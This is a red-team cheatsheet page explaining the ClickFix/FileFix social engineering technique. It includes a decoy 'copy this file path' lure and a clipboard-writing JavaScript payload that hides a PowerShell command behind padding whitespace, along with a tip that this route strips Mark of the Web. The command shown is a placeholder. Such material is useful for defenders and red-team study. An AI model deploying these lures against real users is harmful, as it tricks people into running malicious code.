repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
clickfix.mdMarkdown43 lines1.7 KiBsource raw download

title: "ClickFix" section: "Red Team" sectionSlug: "redteam" sourcePath: "docs/redteam/access/clickfix.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/redteam/access/clickfix.md" sha: "203bb0c0b290" isIndex: false#

ClickFix#

ClickFix is a social engineering attack that prompts users to unknowingly execute malicious code, usually through the Run Dialog (Windows Key + R).

FileFix#

Display a message to the user to lure him into copying and pasting a command in a shell or equivalent (File Explorer).

To access the file, follow these steps:
1. Copy the file path below:
   `C:\company\internal-secure\filedrive\HRPolicy.docx`
2. Open File Explorer and select the address bar (CTRL + L)
3. Paste the file path and press Enter

When the user clicks on the "COPY" button, it should set the content of his clipboard to the following.

navigator.clipboard.writeText("powershell.exe -c ping example.com                                                                                                                # C:\\company\\internal-secure\\filedrive\\HRPolicy.docx                                                                    ");

Here, a few tricks have been added to improve the efficiency of the payload:

Executable files (e.g. .exe) executed through the File Explorer’s address bar have their Mark of The Web (MOTW) attribute removed.

References#